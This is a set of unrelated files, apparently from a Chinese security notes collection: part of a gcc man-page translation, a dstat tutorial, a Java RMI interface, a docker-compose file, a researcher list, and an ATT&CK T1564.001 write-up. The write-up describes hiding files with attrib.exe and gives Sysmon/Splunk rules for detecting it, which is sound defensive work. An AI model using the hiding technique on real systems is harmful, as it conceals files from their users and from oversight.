帮助 调试) 后, .B \-mno\-mips\-tfile 开关选项 阻止 编译器 使用 .B mips\-tfile 后期处理 (postprocess) 目标文件. 不运行 .B mips\-tfile 就 没有 调试器 关注的 局部变量. 另外, .B stage2 和 .B stage3 目标文件 将把 临时文件名 传递给 汇编器, 嵌在 目标文件 中, 这 意味着 不比较 目标文件 是否 相同. .TP .B \-msoft\-float 输出 包含 浮点库调用. .I 警告: 所需库 不是 GNU CC 的 一部分. 一般说来 使用 该机型 本地 C 编译器 的 相应部件, 但是 不能 直接 用于 交叉编译, 你 必须 自己 安排, 提供 交叉编译 适用的 库函数. .TP .B \-mhard\-float 输出 包含 浮点指令. 如果 编译器 没有 被改动, 这就是 默认选项. .TP .B \-mfp64 编译器 认为 状态字 的 .B FR 置位(on), 也就是说 存在 32 64-bit 浮点寄存器, 而不是 32 32-bit 浮点寄存器. 同时 必须 打开 .B \-mcpu=r4000 和 .B \-mips3 开关. .TP .B \-mfp32 认为 存在 32 32-bit 浮点寄存器. 这是 默认选项. .PP .B \-mabicalls .TP .B \-mno\-abicalls 输出 (或 不输出) .BR \&.abicalls , .BR \&.cpload , 和 .B \&.cprestore 伪指令, 某些 System V.4 版本 用于 位置无关代码. .TP .B \-mhalf\-pic .TP .B \-mno\-half\-pic .B \-mhalf\-pic 开关选项 要求 把 外部引用 的 指针 放到 数据段, 并且 载入 内存, 而不放到 正文段. 该选项 目前 不起作用. .TP .B \-G num 把 小于等于 .I num 字节 的 全局 或 静态 数据 放到 小的 数据段 或 bss 段, 而不是 普通的 数据段 或 bss 段. 这样 汇编器 可以 输出 基于 全局指针 .RB ( gp 或 .BR $28 ), 的 单字内存访问指令 而非 普通的 双字指令. 默认情况下, 用 MIPS 汇编器 时 .I num 是 8, 而 GNU 汇编器 则为 0. 另外, .BI \-G num 选项 也被 传递 给 汇编器 和 连接器. 所有 的 模块 必须在 相同的 .BI \-G num 值下 编译. .TP .B \-nocpp 汇编 用户汇编文件 (带有 `\|\c .B .s\c \&\|' 后缀) 时, 告诉 MIPS 汇编器 不要 运行 预处理器. .PP 下面的 `\|\c .B \-m\c \&\|' 选项 用于 Intel 80386 族 计算机: .B \-m486 .TP .B \-mno\-486 控制 是否 生成 对 486 优化 的 代码. .TP .B \-msoft\-float 输出 包含 浮点库调用. .I 警告: 所需库 不是 GNU CC 的 一部分. 一般说来 使用 该机型 本地 C 编译器 的 相应部件, 但是 不能 直接 用于 交叉编译, 你 必须 自己 安排, 提供 交叉编译 适用的 库函数. .Sp 在 函数 把 浮点返回值 放在 80387 寄存器栈 的 机器 上, 即使 设置了 `\|\c .B \-msoft-float\c \&\|' 选项, 也可能会 发出 一些 浮点操作码. .TP .B \-mno-fp-ret-in-387 不用 FPU 寄存器 返回 函数值. .Sp 通常 函数调用约定 把 .B float\c \& 和 \c .B double\c \& 的 返回值 放在 FPU 寄存器 中, 即使 不存在 FPU. 这种作法 的 理念 是 操作系统 应该 仿真出 FPU. .Sp 而 `\|\c .B \-mno-fp-ret-in-387\c \&\|' 选项 使 浮点值 通过 普通的 CPU 寄存器 返回. .PP 下面的 `\|\c .B \-m\c \&\|' 选项 用于 HPPA 族 计算机: .TP .B \-mpa-risc-1-0 生成 PA 1.0 处理器 的 目标码. .TP .B \-mpa-risc-1-1 生成 PA 1.1 处理器 的 目标码. .TP .B \-mkernel 生成 适用于 内核 的 目标码. 特别要 避免 \c .B add\c \& 指令, 它 有 一个 参数 是 DP 寄存器; 用 \c .B addil\c \& 代替 \c .B add\c 指令. 这样 可以 避免 HP-UX 连接器 的 某个 严重 bug. .TP .B \-mshared-libs 生成 能够 连接 HP-UX 共享库 的 目标码. 该选项 还没有 实现 全部功能, 对 PA 目标 默认为 关闭. 使用 这个选项 会 导致 编译器 生成 错误的 目标码. .TP .B \-mno-shared-libs 不生成 连接 HP-UX 共享库 的 目标码. 这是 PA 目标 的 默认选项. .TP .B \-mlong-calls 生成的 目标码 允许 同一个 源文件 中的 函数调用, 调用点 和 被调函数 的 距离 可以 超过 256K 之远. 不需要 打开 这个 开关选项, 除非 连接器 给出 \*(lqbranch out of range errors\*(lq 这样的 错误. .TP .B \-mdisable-fpregs 防止 任何情况下 使用 浮点寄存器. 编译 内核 需要 这个选项, 内核 切换 浮点寄存器 的 执行环境 速度 非常缓慢. 如果 打开了 这个 开关选项 同时 试图 浮点操作, 编译 将 失败. .TP .B \-mdisable-indexing 防止 编译器 使用 索引地址模式 (indexing address mode). 这样 在 MACH 上 编译 MIG 生成的 代码 时, 可以 避免 一些 非常 晦涩的 问题. .TP .B \-mtrailing-colon 在 标记定义 (label definition) 的 末尾 添加 一个 冒号 (用于 ELF 汇编器). .PP 下面的 `\|\c .B \-m\c \&\|' 选项 用于 Intel 80960 族 计算机: .TP .BI "\-m" "cpu-type" 默认 机器 类型 为 .I cpu-type , 使 编译器 产生 对应的 指令, 地址模式 和 内存对齐. 默认的 .I cpu-type 是 .BR kb ; 其他 选择 有 .BR ka , .BR mc , .BR ca , .BR cf , .BR sa , 和 .BR sb . .TP .B \-mnumerics .TP .B \-msoft\-float .B \-mnumerics 开关选项 指出 处理器 不支持 浮点指令. .B \-msoft\-float 开关选项 指出 不应该 认为 机器 支持 浮点操作. .TP .B \-mleaf\-procedures .TP .B \-mno\-leaf\-procedures 企图 (或防止) 改变 叶过程 (leaf procedure), 使其 可被 .I bal 指令 以及 .IR call 指令 调用. 对于 直接函数调用, 如果 .I bal 指令 能够 被 汇编器 或 连接器 替换, 这 可以 产生 更有效 的 代码, 但是 其他 情况下 产生 较低效 的 代码, 例如 通过 函数指针 调用 函数, 或 使用了 不支持 这种 优化 的 连接器. .TP .B \-mtail\-call .TP .B \-mno\-tail\-call 执行 (或不执行) 更多的 尝试 (除过 编译器 那些 机器无关 部分), 优化 进入 分支 的 尾递归 (tail-recursive) 调用. 你 可能 不需要 这个, 因为 检测 什么 地方 无效 没有 全部 完成. 默认 开关 是 .BR \-mno\-tail\-call . .TP .B \-mcomplex\-addr .TP .B \-mno\-complex\-addr 认为 (或 不认为) 在 当前的 i960 设备 上, 值得 使用 复合地址模式 (complex addressing mode). 复合地址模式 可能 不值得 用到 K 系列, 但是 一定 值得 用在 C 系列. 目前 除了 CB 和 CC 处理器, 其他 处理器 上 .B \-mcomplex\-addr 是 默认选项. .TP .B \-mcode\-align .TP .B \-mno\-code\-align 把 目标码 对齐到 8 字节 边界 上 (或者 不必), 这样 读取 会 快一些. 目前 只对 C 系列 默认 打开. .TP .B \-mic\-compat .TP .B \-mic2.0\-compat .TP .B \-mic3.0\-compat 兼容 iC960 v2.0 或 v3.0. .TP .B \-masm\-compat .TP .B \-mintel\-asm 兼容 iC960 汇编器. .TP .B \-mstrict\-align .TP .B \-mno\-strict\-align 不允许 (或允许) 边界不对齐 的 访问. .TP .B \-mold\-align 使 结构对齐 (structure-alignment) 兼容 Intel 的 gcc 发行版本 1.3 (基于 gcc 1.37). 目前 这个选项 有点问题, 因为 .B #pragma align 1 总是 作 同样的 设定, 而且 无法 关掉. .PP 下面的 `\|\c .B \-m\c \&\|' 选项 用于 DEC Alpha 设备: .TP .B \-mno-soft-float .TP .B \-msoft-float 使用 (或 不使用) 硬件浮点指令 进行 浮点运算. 打开 \c .B \-msoft-float\c \& 时, 将 使用 `\|\c .B libgcc1.c\c \&\|' 中的 函数 执行 浮点运算. 除非 它们 被 仿真 浮点操作 的 例程 替换, 或者 类似, 它们 被 编译为 调用 仿真例程, 这些 例程 将发出 浮点操作. 如果 你 为 不带 浮点操作 的 Alpha 编译 程序, 你 必须 确保 建立了 这个 库, 以便 不调用 仿真例程. .Sp 注意, 不带 浮点操作 的 Alpha 也要求 拥有 浮点寄存器. .TP .B \-mfp-reg .TP .B \-mno-fp-regs 生成 使用 (或 不使用) 浮点寄存器群 的 目标代码. .B \-mno-fp-regs\c \& 包含有 \c .B \-msoft-float\c \& 开关选项. 如果 不使用 浮点寄存器, 浮点操作数 就象 整数 一样 通过 整数寄存器 传送, 浮点运算结果 放到 $0 而不是 $f0. 这是 非标准 调用, 因此 任何 带有 浮点 参数或返回值 的 函数, 如果 被 \c .B \-mno-fp-regs\c \& 开关 编译过的 目标码 调用, 它 也必须 用这个 选项 编译. .Sp 这个选项 的 典型用法 是 建立 内核, 内核 不使用 任何 浮点寄存器, 因此 没必要 保存 和 恢复 这些 寄存器. .PP 下面 附加的 选项 出现在 System V 第四版 中, 用于 兼容 这些 系统 中的 其他 编译器: .TP .B \-G 在 SVr4 系统 中, \c .B gcc\c \& 出于 兼容 接受了 `\|\c .B \-G\c \&\|' 选项 (然后 传递给 连接器). 可是 我们 建议 使用 `\|\c .B \-symbolic\c \&\|' 或 `\|\c .B \-shared\c \&\|'选项, 而不在 \c .B gcc 命令行 上 出现 连接选项. .TP .B \-Qy 验证 编译器 用的 工具 的 版本, 输出到 \c .B .ident\c \& 汇编指令. .TP .B \-Qn 制止 输出端 的 \c .B .ident\c \& 指令 (默认选项). .TP .BI "\-YP," "dirs" 对于 `\|\c .B \-l\c \&\|' 指定的 库文件, 只搜索 \c .I dirs\c \&. 你 可以 在 .I dirs\c \& 中 用 冒号 隔开 各个 目录项. .TP .BI "\-Ym," "dir" 在 \c .I dir\c \& 目录 中 寻找 M4 预处理器. 汇编器 使用 这个 选项. .SH "代码生成选项 (CODE GENERATION OPTION)" 下面的 选项 和 平台 无关, 用于 控制 目标码生成 的 接口约定. .PP 大部分 选项 以 `\|\c \-f\c \&\|' 开始. 这些选项 拥有 确定 和 否定 两种 格式; `\|\c .B \-ffoo\c \&\|' 的 否定格式 是 `\|\c .B \-fno\-foo\c \&\|'. 后面的 描述 将 只列举 其中 的 一个 格式 \(em\& 非默认 的 格式. 你 可以 通过 添加或去掉 `\|\c .B no\-\c \&\|' 推测出 另一个 格式. .TP .B \-fnonnull\-objects 假设 通过 引用 (reference) 取得的 对象 不为 null (仅 C++). .Sp 一般说来, GNU C++ 对 通过 引用 取得的 对象 作 保守 假设. 例如, 编译器 一定会 检查 下似 代码 中的 \c .B a 不为 null: .Sp obj &a = g (); a.f (2); .Sp 检查 类似 的 引用 需要 额外的 代码, 然而 对于 很多 程序 是 不必要的. 如果 你的 程序 不要求 这种检查, 你 可以 用 `\|\c .B \-fnonnull-objects\c \&\|' 选项 忽略它. .TP .B \-fpcc\-struct\-return 函数 返回 \c .B struct\c \& 和 \c .B union 值时, 采用 和 本地编译器 相同的 参数约定. 对于 较小的结构, 这种约定 的 效率 偏低, 而且 很多 机器 上 不能 重入; 它的 优点 是 允许 GCC 编译 的 目标码 和 PCC 编译 的 目标码 互相调用. .TP .B \-freg\-struct\-return 一有可能 就 通过 寄存器 返回 .B struct 和 .B union 函数值. 对于 较小的结构, 它 比 .BR \-fpcc\-struct\-return 更有效率. .Sp 如果 既没有 指定 .B \-fpcc\-struct\-return , 也没有 指定 .BR \-freg\-struct\-return , GNU CC 默认使用 目标机 的 标准约定. 如果 没有 标准约定, GNU CC 默认采用 .BR \-fpcc\-struct\-return . .TP .B \-fshort\-enums 给 \c .B enum\c \& 类型 只分配 它 声明的 值域范围 的 字节数. 就是说, \c .B enum\c \& 类型 等于 大小足够 的 最小整数类型. .TP .B \-fshort\-double 使 .B double 类型 的 大小 和 .B float \& 一样. .TP .B \-fshared\-data 要求 编译结果 的 数据 和 非 \c .B const\c \& 变量 是 共享数据, 而不是 私有数据. 这种差别 仅在 某些 操作系统 上面 有意义, 那里的 共享数据 在 同一个 程序 的 若干 进程 间 共享, 而 私有数据 在 每个 进程 内 都有 副件. .TP .B \-fno\-common 即使 未初始化 的 全局变量 也 分配在 目标文件 的 bss 段, 而不是 把 它们 当做 普通块 (common block) 建立. 这样的 结果 是, 如果 在 两个 不同 的 编译结果 中 声明了 同一个 变量 (没使用 \c .B extern \c \&), 连接 它们 时 会 产生 错误. 这个选项 可能 有用 的 唯一情况 是, 你 希望 确认 程序 能 在 其他系统 上 运行, 而 其他系统 总是 这么 做. .TP .B \-fno\-ident 忽略 `\|\c .B #ident\c \&\|' 指令. .TP .B \-fno\-gnu\-linker 不要 把 全局初始化部件 (如 C++ 的 构造子 和 解构子) 输出为 GNU 连接器 使用 的 格式 (在 GNU 连接器 是 标准方法 的 系统 上). 当你 打算 使用 非 GNU 连接器 的 时候 可以用 这个选项, 非GNU连接器 也需要 .B collect2\c \& 程序 确保 系统连接器 放入 构造子 (constructor) 和 解构子 (destructor). (GNU CC 的 发布包 中 包含有 \c .B collect2\c \& 程序.) 对于 \c .I 必须 \c \& 使用 \c .B collect2\c \& 的 系统, 编译器驱动程序 \c .B gcc\c \& 自动 配置为 这么做. .TP .B \-finhibit-size-directive 不要 输出 \c .B .size\c \& 汇编指令, 或其他 类似指令, 当 某个函数 一分为二, 两部分 在 内存 中 距离 很远 时 会 引起 问题. 当 编译 `\|\c .B crtstuff.c\c \&\|' 时 需要 这个选项; 其他情况下 都不应该 使用. .TP .B \-fverbose-asm 输出 汇编代码 时 放些 额外的 注释信息. 这个选项 仅用于 确实 需要 阅读 汇编输出 的 时候 (可能 调试 编译器 自己 的 时候). .TP .B \-fvolatile 使 编译器 认为 所有 通过 指针 访问 的 内存 是 易变内存 (volatile). .TP .B \-fvolatile\-global 使 编译器 认为 所有的 外部和全局变量 是 易变内存. .TP .B \-fpic 如果 支持 这种 目标机, 编译器 就生成 位置无关目标码. 适用于 共享库 (shared library). .TP .B \-fPIC 如果 支持 这种 目标机, 编译器 就输出 位置无关目标码. 适用于 动态连接 (dynamic linking), 即使 分支 需要 大范围 转移. .TP .BI "\-ffixed\-" "reg" 把 名为 \c .I reg\c \& 的 寄存器 按 固定寄存器 看待 (fixed register); 生成的 目标码 不应该 引用 它 (除了 或许 用作 栈指针, 帧指针, 或其他 固定的角色). .Sp .I reg\c \& 必须是 寄存器 的 名字. 寄存器 名字 取决于 机器, 用 机器描述宏文件 的 \c .B REGISTER_NAMES 宏 定义. .Sp 这个选项 没有 否定格式, 因为 它 列出 三路选择. .TP .BI "\-fcall\-used\-" "reg" 把 名为 \c .I reg\c \& 的 寄存器 按 可分配寄存器 看待, 不能 在 函数调用 间 使用. 可以 临时使用 或 当做 变量 使用, 生存期 不超过 一个 函数. 这样编译的 函数 无需 保存 和 恢复 \c .I reg\c \& 寄存器. .Sp 如果 在 可执行模块 中, 把 这个选项 说明的 寄存器 用作 固定角色 将会 产生 灾难性结果, 如 栈指针 或 帧指针. .Sp 这个选项 没有 否定格式, 因为 它 列出 三路选择. .TP .BI "\-fcall\-saved\-" "reg" 把 名为 \c .I reg\c \& 的 寄存器 按 函数 保护 的 可分配寄存器 看待. 可以 临时使用 或 当做 变量 使用, 它 甚至能 在 函数 间 生存. 这样编译的 函数 会 保存 和 恢复 使用中 的 \c .I reg\c \& 寄存器. .Sp 如果 在 可执行模块 中, 把 这个选项 说明的 寄存器 用作 固定角色 将会 产生 灾难性结果, 如 栈指针 或 帧指针. .Sp 另一种 灾难 是 用 这个选项 说明的 寄存器 返回 函数值. .Sp 这个选项 没有 否定格式, 因为 它 列出 三路选择. .SH PRAGMAS GNU C++ 支持 两条 `\|\c .B #pragma\c \&\|' 指令 使 同一个 头文件 有 两个用途: 对象类 的 接口定义, 对象类 完整的 内容定义. .TP .B #pragma interface (仅对 C++) 在 定义 对象类 的 头文件 中, 使用 这个指令 可以 节省 大部分 采用 该类 的 目标文件 的 大小. 一般说来, 某些信息 (内嵌成员函数 的 备份副件, 调试信息, 实现 虚函数 的 内部表格等) 的 本地副件 必须 保存在 包含 类定义 的 各个 目标文件 中. 使用 这个 pragma 指令 能够 避免 这样的 复制. 当 编译 中 引用 包含 `\|\c .B #pragma interface\c \&\|' 指令 的 头文件 时, 就 不会 产生 这些 辅助信息 (除非 输入的 主文件 使用了 `\|\c .B #pragma implementation\c \&\|'指令). 作为替代, 目标文件 将包含 可被 连接时 解析的 引用 (reference). .TP .B #pragma implementation .TP \fB#pragma implementation "\fP\fIobjects\fP\fB.h"\fP (仅对 C++) 如果 要求 从 头文件 产生 完整的 输出 (并且 全局可见), 你 应该 在 主输入文件 中 使用 这条 pragma. 头文件 中 应该 依次 使用 `\|\c .B #pragma interface\c \&\|' 指令. 在 implementation 文件 中 将 产生 全部 内嵌成员函数 的 备份, 调试信息, 实现 虚函数 的 内部表格等. .Sp 如果 `\|\c .B #pragma implementation\c \&\|' 不带 参数, 它 指的是 和 源文件 有 相同基本名 的 包含文件; 例如, `\|\c .B allclass.cc\c \&\|' 中, `\|\c .B #pragma implementation\c \&\|' 等于 `\|\c .B #pragma implementation "allclass.h"\c \&\|'. 如果 某个 implementation 文件 需要 从 多个 头文件 引入 代码, 就应该 使用 这个 字符串参数. .Sp 不可能 把 一个头文件 里面 的 内容 分割到 多个 implementation 文件 中. .SH "文件 (FILE)" .nf .ta \w'LIBDIR/g++\-include 'u file.c C 源文件 file.h C 头文件 (预处理文件) file.i 预处理后 的 C 源文件 file.C C++ 源文件 file.cc C++ 源文件 file.cxx C++ 源文件 file.m Objective-C 源文件 file.s 汇编语言文件 file.o 目标文件 a.out 连接的输出文件 \fITMPDIR\fR/cc\(** 临时文件 \fILIBDIR\fR/cpp 预处理器 \fILIBDIR\fR/cc1 C 编译器 \fILIBDIR\fR/cc1plus C++ 编译器 \fILIBDIR\fR/collect 某些机器需要的连接器前端(front end)程序 \fILIBDIR\fR/libgcc.a GCC 子例程 (subroutine) 库 /lib/crt[01n].o 启动例程 (start-up) \fILIBDIR\fR/ccrt0 C++ 的附加启动例程 /lib/libc.a 标准 C 库, 另见 intro (3) /usr/include \fB#include\fP 文件的标准目录 \fILIBDIR\fR/include \fB#include\fP 文件的标准 gcc 目录 \fILIBDIR\fR/g++\-include \fB#include\fP 文件的附加 g++ 目录 .Sp .fi .I LIBDIR 通常为 .B /usr/local/lib/\c .IR machine / version . .br .I TMPDIR 来自 环境变量 .B TMPDIR (如果 存在, 缺省为 .B /usr/tmp , 否则为 .B /tmp\c \&). .SH "另见 (SEE ALSO)" cpp(1), as(1), ld(1), gdb(1), adb(1), dbx(1), sdb(1). .br .B info\c \&中 .RB "`\|" gcc "\|', `\|" cpp \|', .RB "`\|" as "\|', `\|" ld \|', 和 .RB `\| gdb \|' 的 条目. .br .I Using and Porting GNU CC (for version 2.0)\c , Richard M. Stallman; .I The C Preprocessor\c , Richard M. Stallman; .I Debugging with GDB: the GNU Source-Level Debugger\c , Richard M. Stallman 和 Roland H. Pesch; .I Using as: the GNU Assembler\c , Dean Elsner, Jay Fenlason & friends; .I ld: the GNU linker\c , Steve Chamberlain 和 Roland Pesch. .SH BUGS 关于 报告 差错 的 指导 请 查阅 GCC 手册. .SH "版权 (COPYING)" Copyright .if t \(co 1991, 1992, 1993 Free Software Foundation, Inc. .PP Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. .PP Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one. .PP Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be included in translations approved by the Free Software Foundation instead of in the original English. .SH "作者 (AUTHORS)" 关于 GNU CC 的 奉献者 请 查阅 GUN CC 手册. .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 第一版 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net .\".SH "字典" .\"archive file: 归档库文件, 库文件 .\".br .\"assemble: 汇编 .\".br .\"assembler: 汇编器 .\".br .\"assembly language: 汇编语言 .\".br .\"compile: 编译 .\".br .\"compiler: 编译器 .\".br .\"context: 执行环境 .\".br .\"data flow information: 数据流信息 (-Wuninitialized) .\".br .\"extern reference: 外部引用 (-mhalf-pic) .\".br .\"in-line code sequence: 嵌入代码 (-min-line-mul) .\".br .\"link: 连接 .\".br .\"linker: 连接器 .\".br .\"memory reference: 内存访问 (-mserialize-volatile) .\".br .\"object file: 目标文件 .\".br .\"operand: 操作数 .\".br .\"preprocessing: 预处理 .\".br .\"preprocessor: 预处理器 .\".br .\"scratch space: 活动空间 (-mfull-fp-blocks) .\".br .\"sequential consistency: 结果一致 (-mserialize-volatile) .\".br .\"
sec-knowleage
# 相关研究者和团队 记录“威胁狩猎”领域的相关研究者和团队 ## 个人 - 熊猫正正 - [freebuf](https://www.freebuf.com/author/%E7%86%8A%E7%8C%AB%E6%AD%A3%E6%AD%A3) - [GitHub](https://github.com/pandazheng) ## 团队
sec-knowleage
dstat === 通用的系统资源统计工具 ## 补充说明 **dstat命令** 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入`dstat 3`即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如`dstat -c`即显示CPU的使用情况。 ### 下载安装 **方法一** ```shell yum install -y dstat ``` **方法二** 官网下载地址:http://dag.wieers.com/rpm/packages/dstat ```shell wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm ``` ### 使用说明 安装完后就可以使用了,dstat非常强大,可以实时的监控cpu、磁盘、网络、IO、内存等使用情况。 直接使用dstat,默认使用的是`-cdngy`参数,分别显示cpu、disk、net、page、system信息,默认是1s显示一条信息。可以在最后指定显示一条信息的时间间隔,如`dstat 5`是没5s显示一条,`dstat 5 10`表示没5s显示一条,一共显示10条。 ```shell [root@iZ23uulau1tZ ~]# dstat ----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- usr sys idl wai hiq siq| read writ| recv send| in out | int csw 0 0 99 0 0 0|7706B 164k| 0 0 | 0 0 | 189 225 0 0 100 0 0 0| 0 0 |4436B 826B| 0 0 | 195 248 1 0 99 0 0 0| 0 0 |4744B 346B| 0 0 | 203 242 0 0 100 0 0 0| 0 0 |5080B 346B| 0 0 | 206 242 0 1 99 0 0 0| 0 0 |5458B 444B| 0 0 | 214 244 1 0 99 0 0 0| 0 0 |5080B 346B| 0 0 | 208 242 ``` 下面对显示出来的部分信息作一些说明: 1. cpu:hiq、siq分别为硬中断和软中断次数。 2. system:int、csw分别为系统的中断次数(interrupt)和上下文切换(context switch)。 其他的都很好理解。 ### 语法 ```shell dstat [-afv] [options..] [delay [count]] ``` ### 常用选项 ```shell -c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息。 -C:当有多个CPU时候,此参数可按需分别显示cpu状态,例:-C 0,1 是显示cpu0和cpu1的信息。 -d:显示磁盘读写数据大小。 -D hda,total:include hda and total。 -n:显示网络状态。 -N eth1,total:有多块网卡时,指定要显示的网卡。 -l:显示系统负载情况。 -m:显示内存使用情况。 -g:显示页面使用情况。 -p:显示进程状态。 -s:显示交换分区使用情况。 -S:类似D/N。 -r:I/O请求情况。 -y:系统状态。 --ipc:显示ipc消息队列,信号等信息。 --socket:用来显示tcp udp端口状态。 -a:此为默认选项,等同于-cdngy。 -v:等同于 -pmgdsc -D total。 --output 文件:此选项也比较有用,可以把状态信息以csv的格式重定向到指定的文件中,以便日后查看。例:dstat --output /root/dstat.csv & 此时让程序默默的在后台运行并把结果输出到/root/dstat.csv文件中。 ``` 当然dstat还有很多更高级的用法,常用的基本这些选项,更高级的用法可以结合man文档。 ### 实例 如想监控swap,process,sockets,filesystem并显示监控的时间: ```shell [root@iZ23uulau1tZ ~]# dstat -tsp --socket --fs ----system---- ----swap--- ---procs--- ------sockets------ --filesystem- date/time | used free|run blk new|tot tcp udp raw frg|files inodes 26-07 09:23:48| 0 0 | 0 0 0.0|104 8 5 0 0| 704 6488 26-07 09:23:49| 0 0 | 0 0 0|104 8 5 0 0| 704 6488 26-07 09:23:50| 0 0 | 0 0 0|104 8 5 0 0| 704 6489 26-07 09:23:51| 0 0 | 0 0 0|104 8 5 0 0| 704 6489 26-07 09:23:52| 0 0 | 0 0 0|104 8 5 0 0| 704 6489 26-07 09:23:53| 0 0 | 0 0 0|104 8 5 0 0| 704 6489 ``` 若要将结果输出到文件可以加`--output filename`: ```shell [root@iZ23uulau1tZ ~]# dstat -tsp --socket --fs --output /tmp/ds.csv ----system---- ----swap--- ---procs--- ------sockets------ --filesystem- date/time | used free|run blk new|tot tcp udp raw frg|files inodes 26-07 09:25:31| 0 0 | 0 0 0.0|104 8 5 0 0| 736 6493 26-07 09:25:32| 0 0 | 0 0 0|104 8 5 0 0| 736 6493 26-07 09:25:33| 0 0 | 0 0 0|104 8 5 0 0| 736 6493 26-07 09:25:34| 0 0 | 0 0 0|104 8 5 0 0| 736 6493 26-07 09:25:35| 0 0 | 0 0 0|104 8 5 0 0| 736 6494 26-07 09:25:36| 0 0 | 0 0 0|104 8 5 0 0| 736 6494 ``` 这样生成的csv文件可以用excel打开,然后生成图表。 通过`dstat --list`可以查看dstat能使用的所有参数,其中上面internal是dstat本身自带的一些监控参数,下面`/usr/share/dstat`中是dstat的插件,这些插件可以扩展dstat的功能,如可以监控电源(battery)、mysql等。 下面这些插件并不是都可以直接使用的,有的还依赖其他包,如想监控mysql,必须要装python连接mysql的一些包。 ```shell [root@iZ23uulau1tZ ~]# dstat --list internal: aio, cpu, cpu24, disk, disk24, disk24old, epoch, fs, int, int24, io, ipc, load, lock, mem, net, page, page24, proc, raw, socket, swap, swapold, sys, tcp, time, udp, unix, vm /usr/share/dstat: battery, battery-remain, cpufreq, dbus, disk-util, fan, freespace, gpfs, gpfs-ops, helloworld, innodb-buffer, innodb-io, innodb-ops, lustre, memcache-hits, mysql-io, mysql-keys, mysql5-cmds, mysql5-conn, mysql5-io, mysql5-keys, net-packets, nfs3, nfs3-ops, nfsd3, nfsd3-ops, ntp, postfix, power, proc-count, rpc, rpcd, sendmail, snooze, thermal, top-bio, top-cpu, top-cputime, top-cputime-avg, top-io, top-latency, top-latency-avg, top-mem, top-oom, utmp, vm-memctl, vmk-hba, vmk-int, vmk-nic, vz-cpu, vz-io, vz-ubc, wifi ``` dstat命令的基本用法就说到这里,更多用法有待摸索,如果您需要补充内容请给我们发邮件,谢谢!
sec-knowleage
package train.rmi.remote; import java.rmi.Remote; import java.rmi.RemoteException; /** * @author wh1t3P1g * @since 2020/1/9 */ public interface IRemoteHello extends Remote { String sayHello() throws RemoteException; }
sec-knowleage
# T1564-001-win-隐藏的文件和目录 ## 来自ATT&CK的描述 攻击者可能会将文件和目录设置为隐藏,以逃避检测机制。为了防止普通用户意外更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的功能。当用户使用GUI浏览文件系统或在命令行上使用常规命令时,这些文件不会显示。用户必须通过一系列图形用户界面(GUI)提示或使用命令行开关(对于Windows为dir /a,对于Linux和macOS为ls –a)明确要求显示隐藏文件。 在Linux和Mac上,用户只需将“.”标记为隐藏,即可将其标记为隐藏。作为文件或文件夹名称中的第一个字符。默认情况下,以“.”开头的文件和文件夹在Finder应用程序和标准命令行实用程序(如“ ls”)中不会隐藏。用户必须专门更改设置才能查看这些文件。 macOS上的文件也可以用UF_HIDDEN标志标记,这可以防止在Finder.app中看到它们,但仍然允许在Terminal.app 中看到它们。在Windows上,用户可以使用attrib.exe二进制文件将特定文件标记为隐藏。许多应用程序都会创建这些隐藏的文件和文件夹来存储信息,以免使用户的工作空间变得混乱。例如,SSH实用程序会创建一个.ssh文件夹,该文件夹处于隐藏状态,其中包含用户的已知主机和密钥。 攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹,并逃避不包含对隐藏文件的调查的典型用户或系统分析。 ## 测试案例 Attrib.exe是位于C\Windows\System32文件夹中的Windows操作系统文件。它允许您显示或更改文件属性。attrib命令的功能是设置,更改或删除这些文件属性使用attrib命令,可以使文件为只读,归档,系统和隐藏。 什么是文件属性? A文件属性是与计算机上的任何文件相关联的元数据,描述或跟踪文件创建或修改,文件大小,文件扩展名和文件权限等信息。 ## 检测日志 windows sysmon ## 测试复现 Attrib命令,可以让文件夹彻底的隐藏起来,就算是在文件夹选项中设置了显示隐藏文件夹,也无法显示出来的。只能通过路径访问的方式打开文件夹。 ```yml C:\Users\splaybow>help attrib 显示或更改文件属性。 ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [+I | -I] [drive:][path][filename] [/S [/D] [/L]] + 设置属性。 - 清除属性。 R 只读文件属性。 A 存档文件属性。 S 系统文件属性。 H 隐藏文件属性。 I 无内容索引文件属性。 [drive:][path][filename] 指定 attrib 要处理的文件。 /S 处理当前文件夹及其所有子文件夹中的匹配文件。 /D 也处理文件夹。 /L 处理符号链接和符号链接目标的属性。 ``` ## 测试留痕 windows sysmon/security ## 检测规则/思路 监视文件系统和Shell命令,以查找以“.”开头的文件。和Windows命令行使用attrib.exe添加隐藏属性。 ### splunk规则 ```yml index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\attrib.exe” CommandLine=”*+s*”) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\attrib.exe” CommandLine=”*+h*”) ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1564-001 <https://attack.mitre.org/techniques/T1564/001/> CMD中使用attrib命令设置文件只读、隐藏属性详解 <https://blog.csdn.net/whatday/article/details/52752555>
sec-knowleage
version: '2' services: web: build: . ports: - "8000:8000" volumes: - ./app.py:/usr/src/app.py
sec-knowleage
